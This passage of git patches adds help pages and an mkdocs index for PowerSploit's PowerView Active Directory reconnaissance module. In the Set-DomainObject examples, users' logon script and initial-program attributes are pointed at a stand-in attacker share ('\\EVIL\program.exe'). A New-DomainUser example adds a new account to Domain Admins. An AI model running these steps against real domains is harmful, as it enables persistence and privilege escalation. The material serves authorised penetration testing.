permissions) and returns the group object. + +TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +## SYNTAX + +``` +New-DomainGroup [-SamAccountName] [[-Name] ] [[-DisplayName] ] + [[-Description] ] [[-Domain] ] [[-Credential] ] +``` + +## DESCRIPTION +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.GroupPrincipal with the specified +group properties. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' +``` + +Creates the 'TestGroup' group with the specified description. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred + +Creates the 'TestGroup' group with the specified description using the specified alternate credentials. + +## PARAMETERS + +### -SamAccountName +Specifies the Security Account Manager (SAM) account name of the group to create. +Maximum of 256 characters. +Mandatory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Name +Specifies the name of the group to create. +If not provided, defaults to SamAccountName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DisplayName +Specifies the display name of the group to create. +If not provided, defaults to SamAccountName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Description +Specifies the description of the group to create. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### DirectoryServices.AccountManagement.GroupPrincipal + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/New-DomainUser.md b/docs/Recon/New-DomainUser.md new file mode 100755 index 00000000..80f4fcf8 --- /dev/null +++ b/docs/Recon/New-DomainUser.md @@ -0,0 +1,184 @@ +# New-DomainUser + +## SYNOPSIS +Creates a new domain user (assuming appropriate permissions) and returns the user object. + +TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +## SYNTAX + +``` +New-DomainUser [-SamAccountName] [-AccountPassword] [[-Name] ] + [[-DisplayName] ] [[-Description] ] [[-Domain] ] [[-Credential] ] +``` + +## DESCRIPTION +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.UserPrincipal with the specified user properties. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword + +Creates the 'harmj0y2' user with the specified description and password. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred + +Creates the 'harmj0y2' user with the specified description and password, using the specified +alternate credentials. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +## PARAMETERS + +### -SamAccountName +Specifies the Security Account Manager (SAM) account name of the user to create. +Maximum of 256 characters. +Mandatory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AccountPassword +Specifies the password for the created user. +Mandatory. + +```yaml +Type: SecureString +Parameter Sets: (All) +Aliases: Password + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Name +Specifies the name of the user to create. +If not provided, defaults to SamAccountName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DisplayName +Specifies the display name of the user to create. +If not provided, defaults to SamAccountName. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Description +Specifies the description of the user to create. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### DirectoryServices.AccountManagement.UserPrincipal + +## NOTES + +## RELATED LINKS + +[http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/](http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/) + diff --git a/docs/Recon/Remove-RemoteConnection.md b/docs/Recon/Remove-RemoteConnection.md new file mode 100755 index 00000000..fe6f3b36 --- /dev/null +++ b/docs/Recon/Remove-RemoteConnection.md @@ -0,0 +1,84 @@ +# Remove-RemoteConnection + +## SYNOPSIS +Destroys a connection created by New-RemoteConnection. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +### ComputerName (Default) +``` +Remove-RemoteConnection [-ComputerName] +``` + +### Path +``` +Remove-RemoteConnection [-Path] +``` + +## DESCRIPTION +This function uses WNetCancelConnection2 to destroy a connection created by +New-RemoteConnection. +If a -Path isn't specified, a -ComputerName is required to +'unmount' \\\\$ComputerName\IPC$. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local' +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection +``` + +## PARAMETERS + +### -ComputerName +Specifies the system to remove a \\\\ComputerName\IPC$ connection for. + +```yaml +Type: String[] +Parameter Sets: ComputerName +Aliases: HostName, dnshostname, name + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Path +Specifies the remote \\\\UNC\path to remove the connection for. + +```yaml +Type: String[] +Parameter Sets: Path +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Resolve-IPAddress.md b/docs/Recon/Resolve-IPAddress.md new file mode 100755 index 00000000..744c764b --- /dev/null +++ b/docs/Recon/Resolve-IPAddress.md @@ -0,0 +1,66 @@ +# Resolve-IPAddress + +## SYNOPSIS +Resolves a given hostename to its associated IPv4 address. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Resolve-IPAddress [[-ComputerName] ] +``` + +## DESCRIPTION +Resolves a given hostename to its associated IPv4 address using +\[Net.Dns\]::GetHostEntry(). +If no hostname is provided, the default +is the IP address of the localhost. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Resolve-IPAddress -ComputerName SERVER +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +@("SERVER1", "SERVER2") | Resolve-IPAddress +``` + +## PARAMETERS + +### -ComputerName +{{Fill ComputerName Description}} + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more IP address strings on the pipeline. + +## OUTPUTS + +### System.Management.Automation.PSCustomObject + +A custom PSObject with the ComputerName and IPAddress. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Set-DomainObject.md b/docs/Recon/Set-DomainObject.md new file mode 100755 index 00000000..482d86dd --- /dev/null +++ b/docs/Recon/Set-DomainObject.md @@ -0,0 +1,346 @@ +# Set-DomainObject + +## SYNOPSIS +Modifies a gven property for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +## SYNTAX + +``` +Set-DomainObject [[-Identity] ] [-Set ] [-XOR ] [-Clear ] + [-Domain ] [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] + [-Credential ] +``` + +## DESCRIPTION +Splats user/object targeting parameters to Get-DomainObject, returning the raw +searchresult object. +Retrieves the raw directoryentry for the object, and sets +any values from -Set @{}, XORs any values from -XOR @{}, and clears any values +from -Clear @(). + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose +``` + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\\\EVIL\program.exe for object testuser + +### -------------------------- EXAMPLE 2 -------------------------- +``` +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose +``` + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: +(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108))) +VERBOSE: Setting mstsinitialprogram to \\\\EVIL\program2.exe for object harmj0y +VERBOSE: Setting countrycode to 1234 for object harmj0y +VERBOSE: Get-DomainSearcher search string: +LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\\\EVIL\program2.exe for object testuser +VERBOSE: Setting countrycode to 1234 for object testuser + +### -------------------------- EXAMPLE 3 -------------------------- +``` +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose +``` + +Cleares the 'department' field for both object identities. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose +``` + +Name Value +---- ----- +NORMAL_ACCOUNT 512 + + +Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser' + +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Get-DomainUser -Identity testuser -Properties scriptpath +``` + +scriptpath +---------- +\\\\primary\sysvol\blah.ps1 + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\\\EVIL\program2.exe'} -Credential $Cred -Verbose +VERBOSE: \[Get-Domain\] Using alternate credentials for Get-Domain +VERBOSE: \[Get-Domain\] Extracted domain 'TESTLAB' from -Credential +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainSearcher\] Using alternate credentials for LDAP connection +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: \[Set-DomainObject\] Setting 'scriptpath' to '\\\\EVIL\program2.exe' for object 'testuser' + +Get-DomainUser -Identity testuser -Properties scriptpath + +scriptpath +---------- +\\\\EVIL\program2.exe + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Set +Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values. + +```yaml +Type: Hashtable +Parameter Sets: (All) +Aliases: Reaplce + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -XOR +Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values. + +```yaml +Type: Hashtable +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Clear +Specifies an array of object properties that will be cleared in the directory. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +{{Fill SecurityMasks Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ADObject + +Custom PSObject with translated AD object property fields, if -PassThru is enabled. + +PowerView.ADObject.Raw + +The raw DirectoryServices.SearchResult object, if -PassThru and -Raw are enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Test-AdminAccess.md b/docs/Recon/Test-AdminAccess.md new file mode 100755 index 00000000..84eab4eb --- /dev/null +++ b/docs/Recon/Test-AdminAccess.md @@ -0,0 +1,101 @@ +# Test-AdminAccess + +## SYNOPSIS +Tests if the current user has administrative access to the local (or a remote) machine. + +Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" \' + 'Thomas McCarthy "smilingraccoon" \' + 'Royce Davis "r3dy" \' + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Test-AdminAccess [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will use the OpenSCManagerW Win32API call to establish +a handle to the remote host. +If this succeeds, the current user context +has local administrator acess to the target. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Test-AdminAccess -ComputerName sqlserver +``` + +Returns results indicating whether the current user has admin access to the 'sqlserver' host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainComputer | Test-AdminAccess +``` + +Returns what machines in the domain the current user has access to. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Test-AdminAccess -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to check for local admin access (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.AdminAccess + +A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether +the current user has local admin rights, along with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/) + From e956bf440fc0163a39aca575da35450182c547ec Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 21:16:41 -0500 Subject: [PATCH 208/296] First commit of mkdocs.yml for readthedocs.io --- mkdocs.yml | 85 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 mkdocs.yml diff --git a/mkdocs.yml b/mkdocs.yml new file mode 100644 index 00000000..41cadbf7 --- /dev/null +++ b/mkdocs.yml @@ -0,0 +1,85 @@ +site_name: PowerSploit +repo_url: https://github.com/PowerShellMafia/PowerSploit/tree/dev +site_favicon: favicon.ico +pages: +- Home: 'README.md' + - Recon : + - Export-PowerViewCSV: 'docs/Recon/Export-PowerViewCSV' + - Resolve-IPAddress: 'docs/Recon/Resolve-IPAddress' + - ConvertTo-SID: 'docs/Recon/ConvertTo-SID' + - ConvertFrom-SID: 'docs/Recon/ConvertFrom-SID' + - Convert-ADName: 'docs/Recon/Convert-ADName' + - ConvertFrom-UACValue: 'docs/Recon/ConvertFrom-UACValue' + - Add-RemoteConnection: 'docs/Recon/Add-RemoteConnection' + - Remove-RemoteConnection: 'docs/Recon/Remove-RemoteConnection' + - Invoke-UserImpersonation: 'docs/Recon/Invoke-UserImpersonation' + - Invoke-RevertToSelf: 'docs/Recon/Invoke-RevertToSelf' + - Get-DomainSPNTicket: 'docs/Recon/Get-DomainSPNTicket' + - Invoke-Kerberoast: 'docs/Recon/Invoke-Kerberoast' + - Get-PathAcl: 'docs/Recon/Get-PathAcl' + - Get-DomainDNSZone: 'docs/Recon/Get-DomainDNSZone' + - Get-DomainDNSRecord: 'docs/Recon/Get-DomainDNSRecord' + - Get-Domain: 'docs/Recon/Get-Domain' + - Get-DomainController: 'docs/Recon/Get-DomainController' + - Get-Forest: 'docs/Recon/Get-Forest' + - Get-ForestDomain: 'docs/Recon/Get-ForestDomain' + - Get-ForestGlobalCatalog: 'docs/Recon/Get-ForestGlobalCatalog' + - Find-DomainObjectPropertyOutlier: 'docs/Recon/Find-DomainObjectPropertyOutlier' + - Get-DomainUser: 'docs/Recon/Get-DomainUser' + - New-DomainUser: 'docs/Recon/New-DomainUser' + - Get-DomainUserEvent: 'docs/Recon/Get-DomainUserEvent' + - Get-DomainComputer: 'docs/Recon/Get-DomainComputer' + - Get-DomainObject: 'docs/Recon/Get-DomainObject' + - Set-DomainObject: 'docs/Recon/Set-DomainObject' + - Get-DomainObjectAcl: 'docs/Recon/Get-DomainObjectAcl' + - Add-DomainObjectAcl: 'docs/Recon/Add-DomainObjectAcl' + - Find-InterestingDomainAcl: 'docs/Recon/Find-InterestingDomainAcl' + - Get-DomainOU: 'docs/Recon/Get-DomainOU' + - Get-DomainSite: 'docs/Recon/Get-DomainSite' + - Get-DomainSubnet: 'docs/Recon/Get-DomainSubnet' + - Get-DomainSID: 'docs/Recon/Get-DomainSID' + - Get-DomainGroup: 'docs/Recon/Get-DomainGroup' + - New-DomainGroup: 'docs/Recon/New-DomainGroup' + - Get-DomainManagedSecurityGroup: 'docs/Recon/Get-DomainManagedSecurityGroup' + - Get-DomainGroupMember: 'docs/Recon/Get-DomainGroupMember' + - Add-DomainGroupMember: 'docs/Recon/Add-DomainGroupMember' + - Get-DomainFileServer: 'docs/Recon/Get-DomainFileServer' + - Get-DomainDFSShare: 'docs/Recon/Get-DomainDFSShare' + - Get-DomainGPO: 'docs/Recon/Get-DomainGPO' + - Get-DomainGPOLocalGroup: 'docs/Recon/Get-DomainGPOLocalGroup' + - Get-DomainGPOUserLocalGroupMapping: 'docs/Recon/Get-DomainGPOUserLocalGroupMapping' + - Get-DomainGPOComputerLocalGroupMapping: 'docs/Recon/Get-DomainGPOComputerLocalGroupMapping' + - Get-DomainPolicy: 'docs/Recon/Get-DomainPolicy' + - Get-NetLocalGroup: 'docs/Recon/Get-NetLocalGroup' + - Get-NetLocalGroupMember: 'docs/Recon/Get-NetLocalGroupMember' + - Get-NetShare: 'docs/Recon/Get-NetShare' + - Get-NetLoggedon: 'docs/Recon/Get-NetLoggedon' + - Get-NetSession: 'docs/Recon/Get-NetSession' + - Get-RegLoggedOn: 'docs/Recon/Get-RegLoggedOn' + - Get-NetRDPSession: 'docs/Recon/Get-NetRDPSession' + - Test-AdminAccess: 'docs/Recon/Test-AdminAccess' + - Get-NetComputerSiteName: 'docs/Recon/Get-NetComputerSiteName' + - Get-WMIRegProxy: 'docs/Recon/Get-WMIRegProxy' + - Get-WMIRegLastLoggedOn: 'docs/Recon/Get-WMIRegLastLoggedOn' + - Get-WMIRegCachedRDPConnection: 'docs/Recon/Get-WMIRegCachedRDPConnection' + - Get-WMIRegMountedDrive: 'docs/Recon/Get-WMIRegMountedDrive' + - Get-WMIProcess: 'docs/Recon/Get-WMIProcess' + - Find-InterestingFile: 'docs/Recon/Find-InterestingFile' + - Find-DomainUserLocation: 'docs/Recon/Find-DomainUserLocation' + - Find-DomainProcess: 'docs/Recon/Find-DomainProcess' + - Find-DomainUserEvent: 'docs/Recon/Find-DomainUserEvent' + - Find-DomainShare: 'docs/Recon/Find-DomainShare' + - Find-InterestingDomainShareFile: 'docs/Recon/Find-InterestingDomainShareFile' + - Find-LocalAdminAccess: 'docs/Recon/Find-LocalAdminAccess' + - Find-DomainLocalGroupMember: 'docs/Recon/Find-DomainLocalGroupMember' + - Get-DomainTrust: 'docs/Recon/Get-DomainTrust' + - Get-ForestTrust: 'docs/Recon/Get-ForestTrust' + - Get-DomainForeignUser: 'docs/Recon/Get-DomainForeignUser' + - Get-DomainForeignGroupMember: 'docs/Recon/Get-DomainForeignGroupMember' + - Get-DomainTrustMapping: 'docs/Recon/Get-DomainTrustMapping' + - Get-ComputerDetails: 'docs/Recon/Get-ComputerDetails' + - Get-HttpStatus: 'docs/Recon/Get-HttpStatus' + - Invoke-Portscan: 'docs/Recon/Invoke-Portscan' + - Invoke-ReverseDnsLookup: 'docs/Recon/Invoke-ReverseDnsLookup' +- About: + - License: 'LICENSE.md' \ No newline at end of file From fb9077363964fa180a6229593734f04197d19f6d Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 21:38:26 -0500 Subject: [PATCH 209/296] file extensions are important :) --- mkdocs.yml | 156 ++++++++++++++++++++++++++--------------------------- 1 file changed, 78 insertions(+), 78 deletions(-) diff --git a/mkdocs.yml b/mkdocs.yml index 41cadbf7..72f6598d 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -3,83 +3,83 @@ repo_url: https://github.com/PowerShellMafia/PowerSploit/tree/dev site_favicon: favicon.ico pages: - Home: 'README.md' - - Recon : - - Export-PowerViewCSV: 'docs/Recon/Export-PowerViewCSV' - - Resolve-IPAddress: 'docs/Recon/Resolve-IPAddress' - - ConvertTo-SID: 'docs/Recon/ConvertTo-SID' - - ConvertFrom-SID: 'docs/Recon/ConvertFrom-SID' - - Convert-ADName: 'docs/Recon/Convert-ADName' - - ConvertFrom-UACValue: 'docs/Recon/ConvertFrom-UACValue' - - Add-RemoteConnection: 'docs/Recon/Add-RemoteConnection' - - Remove-RemoteConnection: 'docs/Recon/Remove-RemoteConnection' - - Invoke-UserImpersonation: 'docs/Recon/Invoke-UserImpersonation' - - Invoke-RevertToSelf: 'docs/Recon/Invoke-RevertToSelf' - - Get-DomainSPNTicket: 'docs/Recon/Get-DomainSPNTicket' - - Invoke-Kerberoast: 'docs/Recon/Invoke-Kerberoast' - - Get-PathAcl: 'docs/Recon/Get-PathAcl' - - Get-DomainDNSZone: 'docs/Recon/Get-DomainDNSZone' - - Get-DomainDNSRecord: 'docs/Recon/Get-DomainDNSRecord' - - Get-Domain: 'docs/Recon/Get-Domain' - - Get-DomainController: 'docs/Recon/Get-DomainController' - - Get-Forest: 'docs/Recon/Get-Forest' - - Get-ForestDomain: 'docs/Recon/Get-ForestDomain' - - Get-ForestGlobalCatalog: 'docs/Recon/Get-ForestGlobalCatalog' - - Find-DomainObjectPropertyOutlier: 'docs/Recon/Find-DomainObjectPropertyOutlier' - - Get-DomainUser: 'docs/Recon/Get-DomainUser' - - New-DomainUser: 'docs/Recon/New-DomainUser' - - Get-DomainUserEvent: 'docs/Recon/Get-DomainUserEvent' - - Get-DomainComputer: 'docs/Recon/Get-DomainComputer' - - Get-DomainObject: 'docs/Recon/Get-DomainObject' - - Set-DomainObject: 'docs/Recon/Set-DomainObject' - - Get-DomainObjectAcl: 'docs/Recon/Get-DomainObjectAcl' - - Add-DomainObjectAcl: 'docs/Recon/Add-DomainObjectAcl' - - Find-InterestingDomainAcl: 'docs/Recon/Find-InterestingDomainAcl' - - Get-DomainOU: 'docs/Recon/Get-DomainOU' - - Get-DomainSite: 'docs/Recon/Get-DomainSite' - - Get-DomainSubnet: 'docs/Recon/Get-DomainSubnet' - - Get-DomainSID: 'docs/Recon/Get-DomainSID' - - Get-DomainGroup: 'docs/Recon/Get-DomainGroup' - - New-DomainGroup: 'docs/Recon/New-DomainGroup' - - Get-DomainManagedSecurityGroup: 'docs/Recon/Get-DomainManagedSecurityGroup' - - Get-DomainGroupMember: 'docs/Recon/Get-DomainGroupMember' - - Add-DomainGroupMember: 'docs/Recon/Add-DomainGroupMember' - - Get-DomainFileServer: 'docs/Recon/Get-DomainFileServer' - - Get-DomainDFSShare: 'docs/Recon/Get-DomainDFSShare' - - 